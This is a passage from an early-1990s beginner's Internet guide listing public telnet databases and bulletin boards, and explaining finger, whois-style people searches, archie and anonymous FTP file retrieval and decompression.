LATER YEARS + 5 butler robert n 1927/ 1976 bks + + +------------------------------------------------------ (CONTINUES) ------------ +OPTIONS: DISPLAY 1 (or D 5 etc) to see a record HELP + GUIDE MORE - next page START - search options + REDO - edit search QUIT - exit database +COMMAND? + + +Most library systems give you a way to log off and return to your host +system. On Hollis, hit escape followed by + + xx + +One particularly interesting system is the one run by the Colorado +Alliance of Research Libraries, which maintains databases for libraries +throughout Colorado, the West and even in Boston. + + Telnet pac.carl.org. + +Follow the simple log-in instructions. When you get a menu, type 72 (even +though that is not listed), which takes you to the Pikes Peak Library +District, which serves the city of Colorado Springs. + +Several years ago, its librarians realized they could use their database +program not just for books but for cataloging city records and community +information, as well. Today, if you want to look up municipal ordinances +or city records, you only have to type in the word you're looking for and +you'll get back cites of the relevant laws or decisions. + +Carl will also connect you to the University of Hawaii library, which, +like the one in Colorado Springs, has more than just bibliographic +material online. One of its features is an online Hawaiian almanac that +can tell you everything you ever wanted to know about Hawaiians, +including the number injured in boogie-board accidents each year (seven). + + +6.3 SOME INTERESTING TELNET SITES + + +AGRICULTURE + +PENPages, run by Pennsylvania State University's College of Agricultural +Sciences, provides weekly world weather and crop reports from the U.S. +Department of Agriculture. These reports detail everything from the +effect of the weather on palm trees in Malaysia to the state of the +Ukrainian wheat crop. Reports from Pennsylvania country extension +officers offer tips for improving farm life. One database lists +Pennsylvania hay distributors by county -- and rates the quality of their +hay! + +The service lets you search for information two different ways. A menu +system gives you quick access to reports that change frequently, such as +the weekly crop/weather reports. An index system lets you search through +several thousand online documents by keyword. At the main menu, you can +either browse through an online manual or chose "PENPages,'' which puts +you into the agriculture system. + + Telnet: psupen.psu.edu + User name: Your 2-letter state code or WORLD + +California State University's Advanced Technology Information Network +provides similar information as PENPages, only focusing on California +crops. It also maintains lists of upcoming California trade shows and +carries updates on biotechnology. + + Telnet: caticsuf.cati.csufresno.edu + Log in: public + +You will then be asked to register and will be given a user name and +password. Hit "a'' at the main menu for agricultural information. Hit +"d'' to call up a menu that includes a biweekly biotechnology report. + + +AIDS + +The University of Miami maintains a database of AIDS health providers in +southern Florida. + + Telnet: callcat.med.miami.edu + Log in: library + +At the main menu, select P (for "AIDS providers" and you'll be able to +search for doctors, hospitals and other providers that care for patients +with AIDS. You can also search by speciality. + + See also under Conversation and Health. + + +AMATEUR RADIO + +The National Ham Radio Call-Sign Callbook lets you search for American +amateur operators by callsign, city, last name or Zip code. A successful +search will give you the ham's name, address, callsign, age, type of +license and when he or she got it. + + Telnet: callsign.cs.buffalo.edu 2000 or ham.njit.edu 2000. + +When you connect, you tell the system how you want to search and what +you're looking for. For example, if you want to search for hams by city, +you would type + + city name of city + +and hit enter (for example: city Kankakee). + +Other search choices are "call" (after which you would type a ham's +name), "name," and "zip" (which you would follow with a Zip code). Be +careful when searching for hams in a large city; there doesn't seem to be +anyway to shut off the list once it starts except by using control-]. +Otherwise, when done, type + + quit + +and hit enter to disconnect. + + +ANIMALS + +See under Health. + + +CALCULATORS + +Hewlett-Packard maintains a free service on which you can seek advice +about their line of calculators. + + Telnet: hpcvbbs.cv.hp.com + No log-in is needed. + +CHEMISTRY + +The Electronic Periodic Table of the Elements draws the table on your +screen and then lets you look up various properties of individual +elements. + + Telnet: camms2.caos.kun.nl + No password needed. + +CONVERSATION + +Communications Canada, a Canadian government agency is developing +Conversational Hypertext Access Technology (CHAT) is a system being +developed by Communications Canada to provide easy database access to +people with little or no computer experience, using what are known as +hypertext links. Instead of cryptic computer commands, users type +questions in English. + + Telnet: debra.doc.ca + Log in: chat + +You chose one of the three databases now online, one on AIDS, and +then ask questions in English. + +Ask the AIDS database, "When was AIDS first discovered?'' and it answers: + + "The first case of AIDS in North America was diagnosed in 1979. + Before that, it existed in Africa, probably beginning in the 1950's. + AIDS was discovered in North America when a number of young men with + a history of homosexuality developed a rare type of cancer called + Kaposi's sarcoma.'' + +Sometimes, you do have to rephrase your question. For example, when asked +"What is the link between AIDS and drug use?'' the computer responds: + + "I know two things about drugs: the drugs that are used to treat + people with AIDS, and the risks that drug users have in getting AIDS. + Please ask about treatments or drug users.'' + +COPYRIGHT LAW + +See under Government. + +CURRENT EVENTS + +Every year, the CIA publishes a Fact Book that is essentially an almanac +of all the world's countries and international organizations, including +such information as major products, type of government and names of its +leaders. It's available for searching through the University of Maryland +Info Database. + + Telnet: info.umd.edu + +Chose a terminal type and hit enter (or just hit enter if you are using +VT100). At the main menu, choose the number next to "Educational +Resources." Then select the number next to "International," followed by +"Factbook." You can then search by country or agency. + +This site also maintains copies of the U.S. budget, documents related to +the North American Free Trade Agreement and other government initiatives. +At the "Educational Resources" menu, select the number next to "United +States" and then the one next to "Government." + +The Access Legislative Information Service lets you browse through and +look up bills before the Hawaiian legislature. + + Telnet: access.uhcc.hawaii.edu + +ENVIRONMENT + +Envirolink is a large database and conference system about the +environment, based in Pittsburgh. + + Telnet: envirolink.org + Log on: gopher + +The U.S. Environmental Protection Agency maintains online databases of +materials related to hazardous waste, the Clean Lakes program and cleanup +efforts in New England. The agency plans to eventually include cleanup +work in other regions, as well. The database is actually a computerized +card catalog of EPA documents -- you can look the documents up, but +you'll still have to visit your regional EPA office to see them. + + Telnet: epaibm.rtpnc.epa.gov + +No password or user name is needed. At the main menu, type + + public + +and hit enter (there are other listed choices, but they are only for +use by EPA employees). You'll then see a one-line menu. Type + + ols + +and hit enter, and you'll see something like this: + + NET-106 Logon to TSO04 in progress. + + DATABASES: + N NATIONAL CATALOG CH CHEMICAL COLL. SYSTEM + H HAZARDOUS WASTE 1 REGION I + L CLEAN LAKES + + OTHER OPTIONS: + ? HELP + Q QUIT + + ENTER SELECTION --> + +Choose one and you'll get a menu that lets you search by document title, +keyword, year of publication or corporation. After you enter the search +word and hit enter, you'll be told how many matches were found. Hit 1 +and then enter to see a list of the entries. To view the bibliographic +record for a specific entry, hit V and enter and then type the number of +the record. + +The University of Michigan maintains a database of newspaper and magazine +articles related to the environment, with the emphasis on Michigan, +dating back to 1980. + + Telnet: hermes.merit.edu + Host: mirlyn + Log in: meem + +GEOGRAPHY + +The University of Michigan Geographic Name Server can provide basic +information, such as population, latitude and longitude of U.S. cities +and many mountains, rivers and other geographic features. + + Telnet: martini.eecs.umich.edu 3000 + +No password or user name is needed. Type in the name of a city, a Zip +code or a geographic feature and hit enter. The system doesn't like +names with abbreviations in them (for example, Mt. McKinley), so spell +them out (for example, Mount McKinley). + +By typing in a town's name or zip code, you can find out a community's +county, Zip code and longitude and latitude. Not all geographic features +are yet included in the database. + +GOVERNMENT + +The Library of Congress Information Service lets you search current and +past legislation (dating to 1982). + + Telnet: locis.loc.gov + Password: none needed. + +When you connect, you'll get a main menu that lets you select from +several databases, including the Library of Congress card catalog (with +book entries dating to 1978) and a database of information on copyright +laws. + + For the congressional database, select the number next to its entry and +hit enter. You'll then be asked to choose which legislative year to +search. After that, a menu similar to this will come up: + + ***C103- THE LEGISLATIVE INFORMATION FILE FOR THE 103RD CONGRESS, + which was updated on 05/10/93 and contains 4,044 records, + is now available for your search. + + CURRENCY: All information is NOT current through the above date, which is + machine generated when ANY information is added to the file. + Bill numbers, official titles, sponsors, and status (STEP) added + within 48 hours. Indexing terms and digests added later, in + some cases several weeks after the bill is added to the file. + + TO START RETRIEVE to find: EXAMPLES: + SEARCH: member name --------------> retrieve rep gingrich + retrieve sen kennedy + bill number --------------> retrieve h.r. 1 + subject keywords ---------> retrieve day care + + FOR HELP: Type the word HELP and press the ENTER key. + + + READY FOR NEW COMMAND: + +The National Technical Information Service runs a system that not only +provides huge numbers of federal documents of all sorts -- from +environmental factsheets to patent abstract -- but serves as a gateway to +dozens of other federal information systems. + + Telnet: fedworld.gov + Log on as: new + +HEALTH + +The U.S. Food and Drug Administration runs a database of health-related +information. + + Telnet: fdabbs.fda.gov + Log in: bbs + +You'll then be asked for your name and a password you want to use in the +future. After that, type + + topics + +and hit enter. You'll see this: + + TOPICS DESCRIPTION + + * NEWS News releases + * ENFORCE Enforcement Report + * APPROVALS Drug and Device Product Approvals list + * CDRH Centers for Devices and Radiological Health Bulletins + * BULLETIN Text from Drug Bulletin + * AIDS Current Information on AIDS + * CONSUMER FDA Consumer magazine index and selected articles + * SUBJ-REG FDA Federal Register Summaries by Subject + * ANSWERS Summaries of FDA information + * INDEX Index of News Releases and Answers + * DATE-REG FDA Federal Register Summaries by Publication Date + * CONGRESS Text of Testimony at FDA Congressional Hearings + * SPEECH Speeches Given by FDA Commissioner and Deputy + * VETNEWS Veterinary Medicine News + * MEETINGS Upcoming FDA Meetings + * IMPORT Import Alerts + * MANUAL On-Line User's Manual + +You'll be able to search these topics by key word or chronologically. +It's probably a good idea, however, to capture a copy of the manual, +first, because the way searching works on the system is a little odd. To +capture a copy, type + + manual + +and hit enter. Then type + + scan + +and hit enter. You'll see this: + + FOR LIST OF AVAILABLE TOPICS TYPE TOPICS + OR ENTER THE TOPIC YOU DESIRE ==> + + MANUAL + BBSUSER + 08-OCT-91 + 1 BBS User Manual + +At this point, turn on your own computer's screen-capture or logging +function and hit your 1 key and then enter. The manual will begin to +scroll on your screen, pausing every 24 lines. + +HIRING AND COLLEGE PROGRAM INFORMATION + +The Federal Information Exchange in Gaithersburg, MD, runs two systems at +the same address: FEDIX and MOLIS. FEDIX offers research, scholarship and +service information for several federal agencies, including NASA, the +Department of Energy and the Federal Aviation Administration. Several +more federal agencies provide minority hiring and scholarship +information. MOLIS provides information about minority colleges, their +programs and professors. + + Telnet: fedix.fie.com + User name: fedix (for the federal hiring database) or + molis (for the minority-college system) + +Both use easy menus to get you to information. + +HISTORY + +Stanford University maintains a database of documents related to Martin +Luther King. + + Telnet: forsythetn.stanford.edu + Account: socrates + + At the main menu, type + + select mlk + +and hit enter. + +SKI REPORTS + +See under weather. + +SPACE + +NASA Spacelink in Huntsville, Ala., provides all sorts of reports and +data about NASA, its history and its various missions, past and present. +You'll find detailed reports on every single probe, satellite and mission +NASA has ever launched along with daily updates and lesson plans for +teachers. + +The system maintains a large file library of GIF-format space graphics, +but you can't download these through telnet. If you want them, you have +to dial the system directly, at (205) 895-0028. + + Telnet: spacelink.msfc.nasa.gov + +When you connect, you'll be given an overview of the system and asked to +register and chose a password. + +The NED-NASA/IPAC Extragalactic Database lists data on more than +100,000 galaxies, quasars and other objects outside the Milky Way. + + Telnet: ipac.caltech.edu. + Log in: ned + +You can learn more than you ever wanted to about quasars, novae and +related objects on a system run by the Smithsonian Astrophysical +Observatory in Cambridge, Mass. + + Telnet: cfa204.harvard.edu + Log in: einline + +The physics department at the University of Massachusetts at Amherst runs +a bulletin-board system that provides extensive conferences and document +libraries related to space. + + Telnet: spacemet.phast.umass.edu + Log on with your name and a password. + +SUPREME COURT DECISIONS + +The University of Maryland Info Database maintains U.S. Supreme Court +decisions from 1991 on. + + Telnet: info.umd.edu + +Chose a terminal type and hit enter (or just hit enter if you are +using VT100). At the main menu, choose the number next to "Educational +Resources" and hit enter. One of your options will then be for "United +States." Select that number and then, at the next menu, choose the one +next to "Supreme Court." + +TELNET + +Hytelnet, at the University of Saskatchewan, is an online guide to +hundreds of telnet sites around the world. + + Telnet: access.usask.ca + Log in: hytelnet + +WEATHER + +The University of Michigan's Department of Atmospheric, Oceanographic +and Space Sciences supplies weather forecasts for U.S. and foreign cities, +along with skiing and hurricane reports. + + Telnet: madlab.sprl.umich.edu 3000 (note the 3000). + No log-in name is needed. + +Also see under Weather in the FTP list for information on downloading +satellite and radar weather images. + + +6.4 TELNET BULLETIN-BOARD SYSTEMS + +You might think that Usenet, with its hundreds of newsgroups, would be +enough to satisfy the most dedicated of online communicators. + +But there are a number of "bulletin-board" and other systems that provide +even more conferences or other services, many not found directly on the +Net. Some are free; others charge for access. They include: + +Cimarron. Run by the Instituto Technical in Monterey, Mexico, this +system has Spanish conferences, but English commands, as you can see from +this menu of available conferences: + + List of Boards + Name Title + General Board general + Dudas Dudas de Cimarron + Comentarios Comentarios al SYSOP + Musica Para los afinados........ + Libros El sano arte de leer..... + Sistemas Sistemas Operativos en General. + Virus Su peor enemigo...... + Cultural Espacio Cultural de Cimarron + NeXT El Mundo de NeXT + Ciencias Solo apto para Nerds. + Inspiracion Para los Romanticos e Inspirados. + Deportes Discusiones Deportivas + +To be able to write messages and gain access to files, you have to leave +a note to SYSOP with your name, address, occupation and phone number. To +do this, at any prompt, hit your M key and then enter, which will bring +up the mail system. Hitting H brings up a list of commands and how to use +them. + + Telnet: bugs.mty.itesm.mx (8 p.m. to 10 a.m., Eastern time, only). + At the "login:" prompt, type + + bbs + +and hit enter. + +Cleveland Free-Net. The first of a series of Free-Nets, this represents +an ambitious attempt to bring the Net to the public. Originally an in- +hospital help network, it is now sponsored by Case Western Reserve +University, the city of Cleveland, the state of Ohio and IBM. It uses +simple menus, similar to those found on CompuServe, but organized like a +city: + + <<< CLEVELAND FREE-NET DIRECTORY >>> + + 1 The Administration Building + 2 The Post Office + 3 Public Square + 4 The Courthouse & Government Center + 5 The Arts Building + 6 Science and Technology Center + 7 The Medical Arts Building + 8 The Schoolhouse (Academy One) + 9 The Community Center & Recreation Area + 10 The Business and Industrial Park + 11 The Library + 12 University Circle + 13 The Teleport + 14 The Communications Center + 15 NPTN/USA TODAY HEADLINE NEWS + ------------------------------------------------ + h=Help, x=Exit Free-Net, "go help"=extended help + + Your Choice ==> + +The system has a vast and growing collection of public documents, from +copies of U.S. and Ohio Supreme Court decisions to the Magna Carta and +the U.S. Constitution. It links residents to various government agencies +and has daily stories from USA Today. Beyond Usenet (found in the +Teleport area), it has a large collection of local conferences on +everything from pets to politics. And yes, it's free! + + Telnet: freenet-in-a.cwru.edu or + freenet-in-b.cwru.edu or + freenet-in-c.cwru.edu + +When you connect to Free-Net, you can look around the system. However, +if you want to be able to post messages in its conferences or use e-mail, +you will have to apply in writing for an account. Information on this is +available when you connect. + + +DUBBS. This is a bulletin-board system in Delft in the Netherlands. The +conferences and files are mostly in Dutch, but the help files and the +system commands themselves are in English. + Telnet: tudrwa.tudelft.nl + +ISCA BBS. Run by the Iowa Student Computer Association, it has more than +100 conferences, including several in foreign languages. After you +register, hit K for a list of available conferences and then J to join a +particular conference (you have to type in the name of the conference, +not the number next to it). Hitting H brings up information about +commands. + Telnet bbs.isca.uiowa.edu + At the "login:" prompt, type + + bbs + +and hit enter. + +Youngstown Free-Net. The people who created Cleveland Free-Net sell +their software for $1 to anybody willing to set up a similar system. A +number of cities now have their own Free-Nets, including Youngstown, +Ohio. Telnet: yfn.ysu.edu At the "login:" prompt, type + + visitor + +and hit enter. + + +6.5 PUTTING THE FINGER ON SOMEONE + +Finger is a handy little program which lets you find out more about +people on the Net -- and lets you tell others on the Net more about +yourself. + +Finger uses the same concept as telnet or ftp. But it works with only one +file, called .plan (yes, with a period in front). This is a text file an +Internet user creates with a text editor in his home directory. You can +put your phone number in there, tell a little bit about yourself, or +write almost anything at all. + +To finger somebody else's .plan file, type this at the command line: + + finger email-address + +where email-address is the person's e-mail address. If that person's +site allows incoming finger requests (not all do), You'll get back a +display that shows the last time the person was online, whether +they've gotten any new mail since that time and what, if anything, is +in their .plan file. + +Some people and institutions have come up with creative uses for these +.plan files, letting you do everything from checking the weather in +Massachusetts to getting the latest baseball standings. Try fingering +these e-mail addresses: + +weather@cirrus.mit.edu Latest National Weather Service weather + forecasts for regions in Massachusetts. + +quake@geophys.washington.edu Locations and magnitudes of recent + earthquakes around the world. + +jtchern@ocf.berkeley.edu Current major-league baseball standings and + results of the previous day's games. + +nasanews@space.mit.edu The day's events at NASA. + +coke@cs.cmu.edu See how many cans of each type of soda + are left in a particular soda machine + in the computer-science department of + Carnegie-Mellon University. + + +6.6 FINDING SOMEONE ON THE NET + + +So you have a friend and you want to find out if he has an Internet +account to which you can write? The quickest way may be to just pick up +the phone, call him and ask him. Although there are a variety of "white +pages" services available on the Internet, they are far from complete -- +college students, users of commercial services such as CompuServe and +many Internet public-access sites, and many others simply won't be +listed. Major e-mail providers are working on a universal directory +system, but that could be some time away. + +In the meantime, a couple of "white pages" services might give you some +leads, or even just entertain you as you look up famous people or long- +lost acquaintances. + +The whois directory provides names, e-mail and postal mail address and +often phone numbers for people listed in it. To use it, telnet to + + internic.net + +No log-on is needed. The quickest way to use it is to type + + whois name + +at the prompt, where "name" is the last name or organization name you're +looking for. If there's a match, you'll get back an e-mail listing. + +Another service worth trying, especially since it seems to give beginners +fewer problems, is the Knowbot Information Service reachable by telnet at + + info.cnri.reston.va.us 185 + +Again, no log-on is needed. This service actually searches through a +variety of other "white pages" systems, including the user directory for +MCIMail. To look for somebody, type + + query name + +where "name" is the last name of the person you're looking for. You can +get details of other commands by hitting a question mark at the prompt. +You can also use the knowbot system by e-mail. Start a message to + + netaddress@info.cnri.reston.va.us + +You can leave the "subject:" line blank. As your message, type + + query name + +for the simplest type of search. If you want details on more complex +searches, add another line: + + man + +Another way to search is via the Usenet name server. This is a system at +MIT that keeps track of the e-mail addresses of everybody who posts a +Usenet message that appears at MIT. It works by e-mail. Send a message +to + + mail-server@rtfm.mit.edu + +Leave the "subject:" line blank. As your message, write + + send usenet-addresses/lastname + +where "lastname" is the last name of the person you're looking for. The +system will write back with any matches and the associated addresses. + + +6.7 WHEN THINGS GO WRONG + +* Nothing happens when you try to connect to a telnet site. + +The site could be down for maintenance or problems. + +* You get a "host unavailable" message. + +The telnet site is down for some reason. Try again later. + +* You get a "host unknown" message. + +Check your spelling of the site name. + +* You type in a password on a telnet site that requires one, and you get +a "login incorrect" message. + +Try logging in again. If you get the message again, hit your control and +] keys at the same time to disengage and return to your host system. + +* You can't seem to disconnect from a telnet site. + +Use control-] to disengage and return to your host system. + + +6.8 FYI + +The Usenet newsgroups alt.internet.services and alt.bbs.internet can +provide pointers to new telnet systems. Scott Yanoff periodically +posts his "Updated Internet Services List" in the former. The +alt.bbs.internet newsgroup is also where you'll find Aydin Edguer's +compendium of FAQs related to Internet bulletin-board systems. + +Peter Scott, who maintains the Hytelnet database, runs a mailing list +about new telnet services and changes in existing ones. To get on the +list, send him a note at scott@sklib.usask.ca. + +Gleason Sackman maintains another mailing list dedicated to new Internet +services and news about the new uses to which the Net is being put. To +subscribe, send a message to listserv@internic.net. Leave the "subject:" +line blank, and as your message, write: Sub net-happenings Your Name. + +The soc.net-people newsgroup is a place to ask about people you can't +locate elsewhere. + + + + + + +Chapter 7: FTP + + + +7.1 TONS OF FILES + +hundreds of systems connected to Internet have file libraries, or +archives, accessible to the public. Much of this consists of free or low- +cost shareware programs for virtually every make of computer. If you +want a different communications program for your IBM, or feel like +playing a new game on your Amiga, you'll be able to get it from the Net. + +But there are also libraries of documents as well. If you want a copy of +a recent U.S. Supreme Court decision, you can find it on the Net. Copies +of historical documents, from the Magna Carta to the Declaration of +Independence are also yours for the asking, along with a translation of a +telegram from Lenin ordering the execution of rebellious peasants. You +can also find song lyrics, poems, even summaries of every "Lost in Space" +episode ever made. You can also find extensive files detailing +everything you could ever possibly want to know about the Net itself. +First you'll see how to get these files; then we'll show you where +they're kept. + +Increasingly, you can get these files via gopher or the World-Wide +Web (see Chapter 8 for gopher; Chapter 9 for the Web). But it's still +good to know how to use the original way of getting files across the Net: +file-transfer protocol, or FTP, because there is still a large +number of files stil stored on FTP sites. + +Starting ftp is as easy as using telnet. At your host system's command +line, type + + ftp site.name + +and hit enter, where "site.name" is the address of the ftp site you want +to reach. One major difference between telnet and ftp is that it is +considered bad form to connect to most ftp sites during their business +hours (generally 6 a.m. to 6 p.m. local time). This is because +transferring files across the network takes up considerable computing +power, which during the day is likely to be needed for whatever the +computer's main function is. There are some ftp sites that are +accessible to the public 24 hours a day, though. You'll find these noted +in the list of ftp sites in section 7.6. + + +7.2 YOUR FRIEND ARCHIE + + +How do you find a file you want, though? + +Until a few years ago, this could be quite the pain -- there was no +master directory to tell you where a given file might be stored on the +Net. Who'd want to slog through hundreds of file libraries looking for +something? + +Alan Emtage, Bill Heelan and Peter Deutsch, students at McGill University +in Montreal, asked the same question. Unlike the weather, though, they +did something about it. + +They created a database system, called archie, that would periodically +call up file libraries and basically find out what they had available. +In turn, anybody could dial into archie, type in a file name, and see +where on the Net it was available. Archie currently catalogs some 1,000 +file libraries around the world. + +Today, there are three ways to ask archie to find a file for you: through +telnet, "client" Archie program on your own host system or e-mail. All +three methods let you type in a full or partial file name and will tell +you where on the Net it's stored. + +If you have access to telnet, you can telnet to one of the following +addresses: archie.mcgill.ca; archie.sura.net; archie.unl.edu; +archie.ans.net; or archie.rutgers.edu. If asked for a log-in name, type + + archie + +and hit enter. + +When you connect, the key command is prog, which you use in this form: + + prog filename + +Followed by enter, where "filename" is the program or file you're looking +for. If you're unsure of a file's complete name, try typing in part of +the name. For example, "PKZIP" will work as well as "PKZIP204.EXE." The +system does not support DOS or Unix wildcards. If you ask archie to look +for "PKZIP*," it will tell you it couldn't find anything by that name. +One thing to keep in mind is that a file is not necessarily the same as a +program -- it could also be a document. This means you can use archie to +search for, say, everything online related to the Beetles, as well as +computer programs and graphics files. + +A number of Net sites now have their own archie programs that take your +request for information and pass it onto the nearest archie database -- +ask your system administrator if she has it online. These "client" +programs seem to provide information a lot more quickly than the actual +archie itself! If it is available, at your host system's command line, +type + + archie -s filename + +where filename is the program or document you're looking for, and hit +enter. The -s tells the program to ignore case in a file name and lets +you search for partial matches. You might actually want to type it this +way: + + archie -s filename|more + +which will stop the output every screen (handy if there are many sites +that carry the file you want). Or you could open a file on your computer +with your text-logging function. + +The third way, for people without access to either of the above, is e- +mail. Send a message to archie@quiche.cs.mcgill.ca. You can leave the +subject line blank. Inside the message, type + + prog filename + +where filename is the file you're looking for. You can ask archie to +look up several programs by putting their names on the same "prog" line, +like this: + + prog file1 file2 file3 + +Within a few hours, archie will write back with a list of the appropriate +sites. + +In all three cases, if there is a system that has your file, you'll get a +response that looks something like this: + + Host sumex-aim.stanford.edu + + Location: /info-mac/comm + FILE -rw-r--r-- 258256 Feb 15 17:07 zterm-09.hqx + Location: /info-mac/misc + FILE -rw-r--r-- 7490 Sep 12 1991 zterm-sys7-color-icons.hqx + +Chances are, you will get a number of similar looking responses for each +program. The "host" is the system that has the file. The "Location" +tells you which directory to look in when you connect to that system. +Ignore the funny-looking collections of r's and hyphens for now. After +them, come the size of the file or directory listing in bytes, the date +it was uploaded, and the name of the file. + + +7.3 GETTING THE FILES + +Now you want to get that file. + +Assuming your host site does have ftp, you connect in a similar fashion +to telnet, by typing: + + ftp sumex-aim.stanford.edu + +(or the name of whichever site you want to reach). Hit enter. If the +connection works, you'll see this: + + Connected to sumex-aim.stanford.edu. + 220 SUMEX-AIM FTP server (Version 4.196 Mon Jan 13 13:52:23 PST 1992) ready. + Name (sumex-aim.stanford.edu:adamg): + +If nothing happens after a minute or so, hit control-C to return to your +host system's command line. But if it has worked, type + + anonymous + +and hit enter. You'll see a lot of references on the Net to +"anonymous ftp." This is how it gets its name -- you don't really have +to tell the library site what your name is. The reason is that these +sites are set up so that anybody can gain access to certain public +files, while letting people with accounts on the sites to log on and +access their own personal files. Next, you'll be asked for your +password. As a password, use your e-mail address. This will then come +up: + + 230 Guest connection accepted. Restrictions apply. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> + + +Now type + + ls + +and hit enter. You'll see something awful like this: + + 200 PORT command successful. + 150 Opening ASCII mode data connection for /bin/ls. + total 2636 + -rw-rw-r-- 1 0 31 4444 Mar 3 11:34 README.POSTING + dr-xr-xr-x 2 0 1 512 Nov 8 11:06 bin + -rw-r--r-- 1 0 0 11030960 Apr 2 14:06 core + dr--r--r-- 2 0 1 512 Nov 8 11:06 etc + drwxrwsr-x 5 13 22 512 Mar 19 12:27 imap + drwxr-xr-x 25 1016 31 512 Apr 4 02:15 info-mac + drwxr-x--- 2 0 31 1024 Apr 5 15:38 pid + drwxrwsr-x 13 0 20 1024 Mar 27 14:03 pub + drwxr-xr-x 2 1077 20 512 Feb 6 1989 tmycin + 226 Transfer complete. + ftp> + +Ack! Let's decipher this Rosetta Stone. + +First, ls is the ftp command for displaying a directory (you can actually +use dir as well, but if you're used to MS-DOS, this could lead to +confusion when you try to use dir on your host system, where it won't +work, so it's probably better to just remember to always use ls for a +directory while online). + +The very first letter on each line tells you whether the listing is for a +directory or a file. If the first letter is a ``d,'' or an "l", it's a +directory. Otherwise, it's a file. + +The rest of that weird set of letters and dashes consist of "flags" that +tell the ftp site who can look at, change or delete the file. You can +safely ignore it. You can also ignore the rest of the line until you get +to the second number, the one just before the date. This tells you how +large the file is, in bytes. If the line is for a directory, the + number gives you a rough indication of how many items are in that +directory -- a directory listing of 512 bytes is relatively small. Next +comes the date the file or directory was uploaded, followed (finally!) by +its name. + +Notice the README.POSTING file up at the top of the directory. Most +archive sites have a "read me" document, which usually contains some +basic information about the site, its resources and how to use them. +Let's get this file, both for the information in it and to see how to +transfer files from there to here. At the ftp> prompt, type + + get README + +and hit enter. Note that ftp sites are no different from Unix sites in +general: they are case-sensitive. You'll see something like this: + + 200 PORT command successful. + 150 Opening BINARY mode data connection for README (4444 bytes). + 226 Transfer complete. 4444 bytes received in 1.177seconds (3.8 Kbytes/s) + +And that's it! The file is now located in your home directory on your host +system, from which you can now download it to your own computer. The +simple "get" command is the key to transferring a file from an archive +site to your host system. + +If you want to download more than one file at a time (say a series of +documents, use mget instead of get; for example: + + mget *.txt + +This will transfer copies of every file ending with .txt in the given +directory. Before each file is copied, you'll be asked if you're sure +you want it. Despite this, mget could still save you considerable +time -- you won't have to type in every single file name. If you want to +save even more time, and are sure you really want ALL of the given files, +type + + prompt + +before you do the mget command. This will turn off the prompt, and all +the files will be zapped right into your home directory. + +There is one other command to keep in mind. If you want to get a copy of +a computer program, type + + bin + +and hit enter. This tells the ftp site and your host site that you are +sending a binary file, i.e., a program. Most ftp sites now use binary +format as a default, but it's a good idea to do this in case you've +connected to one of the few that doesn't. + +To switch to a directory, type + + cd directory-name + +(substituting the name of the directory you want to access) and hit +enter. Type + + ls + +and hit enter to get the file listing for that particular directory. +To move back up the directory tree, type + + cd .. + +(note the space between the d and the first period) and hit enter. Or +you could type + + cdup + +and hit enter. Keep doing this until you get to the directory of +interest. Alternately, if you already know the directory path of the +file you want (from our friend archie), after you connect, you could +simply type + + get directory/subdirectory/filename + +On many sites, files meant for public consumption are in the pub or +public directory; sometimes you'll see an info directory. + +Almost every site has a bin directory, which at first glance sounds like +a bin in which interesting stuff might be dumped. But it actually stands +for "binary" and is simply a place for the system administrator to store +the programs that run the ftp system. Lost+found is another directory +that looks interesting but actually never has anything of public interest +in them. + +Before, you saw how to use archie. From our example, you can see that +some system administrators go a little berserk when naming files. +Fortunately, there's a way for you to rename the file as it's being +transferred. Using our archie example, you'd type + + get zterm-sys7-color-icons.hqx zterm.hqx + +and hit enter. Instead of having to deal constantly with a file called +zterm-sys7-color-icons.hqx, you'll now have one called, simply, +zterm.hqx. + +Those last three letters bring up something else: Many program files are +compressed to save on space and transmission time. In order to actually +use them, you'll have to use an un-compress program on them first. + + +7.4 ODD LETTERS -- DECODING FILE ENDINGS + + +There are a wide variety of compression methods in use. You can tell +which method was used by the last one to three letters at the end of a +file. Here are some of the more common ones and what you'll need to un- +compress the files they create (most of these decompression programs can +be located through archie). + +.txt or .TXT By itself, this means the file is a document, rather than a + program. + +.ps or .PS A PostScript document (in Adobe's page description + language). You can print this file on any PostScript + capable printer, or use a previewer, like GNU project's + GhostScript. + +.doc or .DOC Another common "extension" for documents. No decompression + is needed, unless it is followed by: + +.Z This indicates a Unix compression method. To uncompress, + type + + uncompress filename.Z + + and hit enter at your host system's command line. If the + file is a compressed text file, you can read it online by + instead typing + + zcat filename.txt.Z |more + + u16.zip is an MS-DOS program that will let you download + such a file and uncompress it on your own computer. The + Macintosh equivalent program is called MacCompress (use + archie to find these). + +.zip or .ZIP These indicate the file has been compressed with a common + MS-DOS compression program, known as PKZIP (use archie to + find PKZIP204.EXE). Many Unix systems will let you un-ZIP + a file with a program called, well, unzip. + +.gz A Unix version of ZIP. To uncompress, type + + gunzip filename.gz + + at your host system's command line. + +.zoo or .ZOO A Unix and MS-DOS compression format. Use a program called + zoo to uncompress + +.Hqx or .hqx Mactintosh compression format. Requires the BinHex program. + +.shar or Another Unix format. Use unshar to uncompress. +.Shar + +.tar Another Unix format, often used to compress several related + files into one large file. Most Unix systems will have a + program called tar for "un-tarring" such files. Often, a + "tarred" file will also be compressed with the gz method, + so you first have to use uncompress and then tar. + +.sit or .Sit A Mactinosh format that requires the StuffIt program. + +.ARC Another MS-DOS format, which requires the use of the ARC + or ARCE programs. + +.LHZ Another MS-DOS format; requires the use of LHARC. + +A few last words of caution: Check the size of a file before you get it. +The Net moves data at phenomenal rates of speed. But that 500,000-byte +file that gets transferred to your host system in a few seconds could +take more than an hour or two to download to your computer if you're +using a 2400-baud modem. Your host system may also have limits on the +amount of bytes you can store online at any one time. Also, although it +is really extremely unlikely you will ever get a file infected with a +virus, if you plan to do much downloading over the Net, you'd be wise to +invest in a good anti-viral program, just in case. + + +7.5 THE KEYBOARD CABAL + + +System administrators are like everybody else -- they try to make things +easier for themselves. And when you sit in front of a keyboard all day, +that can mean trying everything possible to reduce the number of keys you +actually have to hit each day. + +Unfortunately, that can make it difficult for the rest of us. + +You've already read about bin and lost+found directories. Etc is another +seemingly interesting directory that turns out to be another place to +store files used by the ftp site itself. Again, nothing of any real +interest. + +Then, once you get into the actual file libraries, you'll find that in +many cases, files will have such non-descriptive names as V1.1-AK.TXT. +The best known example is probably a set of several hundred files known +as RFCs, which provide the basic technical and organizational information +on which much of the Internet is built. These files can be found on many +ftp sites, but always in a form such as RFC101.TXT, RFC102.TXT and so on, +with no clue whatsoever as to what information they contain. + +Fortunately, almost all ftp sites have a "Rosetta Stone" to help you +decipher these names. Most will have a file named README 